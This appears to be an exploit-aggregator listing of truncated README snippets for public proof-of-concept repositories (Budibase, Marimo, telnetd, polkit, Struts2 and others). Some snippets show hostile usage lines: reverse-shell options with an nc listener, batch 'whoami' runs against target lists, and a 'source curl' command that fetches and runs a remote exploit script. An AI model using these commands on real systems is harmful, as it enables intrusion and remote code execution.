CVE-2026-31816-rshell

CVE-2026-31816 Reverse Shell Exploit Overview This tool exploits CVE-2026-31816 to establish a reverse shell connection on a target Budibase server. Attack Chain : Authentication Bypass → Upload DATASOURCE Plugin → Server-side Code Execution → Reverse Shell Requirements Python 3.6+ requests libra...

heartbleed-test

root@kitploit: $ python getwebsiteurls.py "searchstring" websites.txt $ sh heartbleed-test.sh websites.txt | tee -a scanresult.log...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Uso Ejecución de comandos: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Shell inversa: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 44...

CVE-2026-39987

CVE-2026-39987 — Marimo Pre-Auth RCE For educational and authorized security research purposes only. Description Pre-authenticated Remote Code Execution in Marimo = 0.20.4. The WebSocket endpoint /terminal/ws skips authentication validation, allowing an unauthenticated attacker to obtain a full...

marimo_CVE-2026-39987_RCE_PoC

CVE-2026-39987 - Marimo This script is ONLY for educational purposes and authorized testing. Unauthorized use of this tool against systems without explicit permission is ILLEGAL. The author is not responsible for the misuse of this information. 📋 Description Marimo versions prior to 0.23.0 presen...

CVE-2026-26331

Arbitrary Command Injection via --netrc-cmd in yt-dlp Severity: High CVSS 8.8 Affected Software: yt-dlp = 2023.06.21, Patched In: 2026.02.21 Advisory: GHSA-g3gw-q23r-pgqm CVE: CVE-2026-26331 Summary yt-dlp’s --netrc-cmd command-line option or netrccmd Python API parameter can be abused to achieve...

CVE-2026-24061---telnetd

CVE-2026-24061 – telnetd 🔥 Description CVE-2026-24061 is a critical vulnerability affecting certain implementations of telnetd , allowing an authentication bypass and the obtainment of a remote root shell without valid credentials. This repository provides a Proof of Concept PoC for detecting...

tscan

Telnetd Auth Bypass Scanner CVE-2026-24061 A Python-based scanner for detecting and exploiting the CVE-2026-24061 vulnerability in GNU Inetutils telnetd services. This tool scans IP addresses or networks for vulnerable telnetd services that allow authentication bypass leading to root shell access...

CVE-2025-29009

CVE-2025-29009 WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin = 1.2.3 is vulnerable to a high priority Arbitrary File Upload CVE-2025-29009 Webkul Medical Prescription Attachment — Unrestricted File Upload → Web Shell root@kitploit: ,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,...

log4j-exploit-builder

log4j-exploit-builder Script to create a log4j CVE-2021-44228 exploit with support for different methods of getting a reverse shell NOTE: The code was speedrunned and will improve in the future...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 in Bash Script Usage: source curl -s https://raw.githubusercontent.com/azminawwar/CVE-2021-4034/main/exploit.sh...

CVE-2026-24061

CVE-2026-24061 — inetutils-telnetd Authentication Bypass A proof-of-concept exploit for the authentication bypass vulnerability in GNU inetutils-telnetd. Overview CVE-2026-24061 is a critical authentication bypass vulnerability affecting inetutils-telnetd versions 1.9.3 through 2.7. It allows a...

CVE-2026-21510-CVSS-8.8-Important-Windows-Shell-security-feature-bypass

CVE-2026-21510 - Windows Shell Security Feature Bypass Vulnerability Repository Title Suggestion: CVE-2026-21510-Windows-Shell-Bypass-Analysis This README provides a comprehensive overview of CVE-2026-21510 , a high-severity, actively exploited zero-day vulnerability patched by Microsoft in the...

spinnaker-poc

Spinnaker Vulnerability POCs Proof-of-concept demonstrations for CVE-2026-32604 and CVE-2026-32613, two 10.0 severity vulnerabilities in Spinnaker that allow for code execution and production cloud credential theft. Video walkthrough of how to use these POCS Technical blog with more details...

CVE-2026-31431-rs

CVE-2026-31431 PoC copyfail Structure root@kitploit: src/ ├── main.rs Exploit: AFALG + splice to overwrite /bin/su └── bin/ └── payload.rs Payload Self-contained nostd binaries with zero runtime dependencies: poc-rs: 4.1 KB payload embedded via includebytes! payload: 1.7 KB Build Requires Rust...

CVE-2026-21962

CVE-2026-21962 CVE-2026-21962 EXAMPLE 单目标 root@kitploit: python3 CVE-2026-21962.py http://target:7001 -c "whoami" 批量 + 默认 whoami root@kitploit: python3 CVE-2026-21962.py -f url.txt 批量 + 自定义命令 + 改线程数 root@kitploit: python3 CVE-2026-21962.py -f url.txt -c "id" --threads 20 -o result.txt 反弹 shell 示例...

berdav-CVE-2021-4034

CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory by the real authors is here PoC If the exploit is working you'll get a root shell immediately: root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$...

CVE-2021-4034

usage: sh poc.sh...

Struts2_S2-062_CVE-2021-31805

Struts2S2-062CVE-2021-31805 Apache Struts2 S2-062 Remote Code Execution Vulnerability CVE-2021-31805 | Reverse Shell Vulnerability Reproduction Environment docker-compose.yml root@kitploit: version: '2' services: struts2: image: vulhub/struts2:2.5.25 ports: - "8080:8080" Pull the image and start...

CVE-2021-4034-new

CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory by the real authors is here...